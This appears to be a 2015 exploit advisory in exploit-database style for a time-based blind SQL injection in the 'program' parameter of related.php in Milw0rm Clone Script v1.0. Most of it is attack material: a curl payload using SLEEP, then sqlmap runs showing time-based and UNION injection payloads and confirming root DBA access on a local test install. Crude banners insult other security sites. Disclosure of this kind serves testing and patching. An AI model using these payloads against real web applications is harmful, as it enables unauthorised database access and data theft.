<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> | Exploit Title: Milw0rm Clone Script v1.0 - (time based) SQLi | | Date: 05.19.2015 | | Exploit Daddy: pancaker | | Vendor Homepage: http://milw0rm.sourceforge.net/ | | Software Link: http://sourceforge.net/projects/milw0rm/files/milw0rm.rar/download | | Version: v1.0 | | Tested On: Ubuntu 10.04 | |><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><| | SHOUTout: milw0rm &&& your mums pancakes | | CALLINGout: hak5 {crap to the core} &&& 1337day/inj3ct0r {scamm3rs + l33ch3rs} | <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> ### vuln codez related.php ### <? echo SiteInfo('site_name');?> - exploits : vulnerabilities : videos : papers : shellcode ..zzz... ### manual ### root@woop:~# zzz='10' root@woop:~# lulz="program=hak5'%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP($zzz)))a)%20AND%20'shit'='shit" root@woop:~# time curl "http://localhost/milw0rm/related.php?$lulz" real 0m10.008s user 0m0.004s sys 0m0.004s ### sqlmap ### root@woop:~/sqlmap# python sqlmap.py -u 'http://localhost/milw0rm/related.php?program=lol' --current-user --is-dba _ ___ ___| |_____ ___ ___ {1.0-dev-e8f87bf} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 09:46:53 [09:46:53] [INFO] resuming back-end DBMS 'mysql' [09:46:53] [INFO] testing connection to the target URL [09:46:53] [INFO] heuristics detected web page charset 'UTF-8' sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Parameter: program (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: program=lol' AND (SELECT * FROM (SELECT(SLEEP(5)))yYCj) AND 'mQUB'='mQUB Type: UNION query Title: MySQL UNION query (NULL) - 8 columns Payload: program=lol' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x77775a6355684c45565a,0x7176717671),NULL,NULL,NULL,NULL,NULL,NULL# --- [09:46:53] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 10.04 (Lucid Lynx) web application technology: PHP 5.3.2, Apache 2.2.14 back-end DBMS: MySQL 5.0.12 [09:46:53] [INFO] fetching current user current user: 'root@localhost' [09:46:53] [INFO] testing if current user is DBA [09:46:53] [INFO] fetching current user [09:46:53] [WARNING] reflective value(s) found and filtering out current user is DBA: True [09:46:53] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost' <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> | >>> THIS 'EXPLOIT' IS SHIT LIKE ALL OF HAK5 'SHOWS' <<< | | <<< NOT TO BE (RE)PUBLISHED ON 1337DAY/INJ3CT0R >>> | <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> __ ___________ ____ ____ _____ | | __ ___________ \____ \__ \ / \_/ ___\\__ \ | |/ // __ \_ __ \ | |_> > __ \| | \ \___ / __ \| <\ ___/| | \/ | __(____ /___| /\___ >____ /__|_ \\___ >__| |__| \/ \/ \/ \/ \/ \/ .........................cant be pr0 without ascii art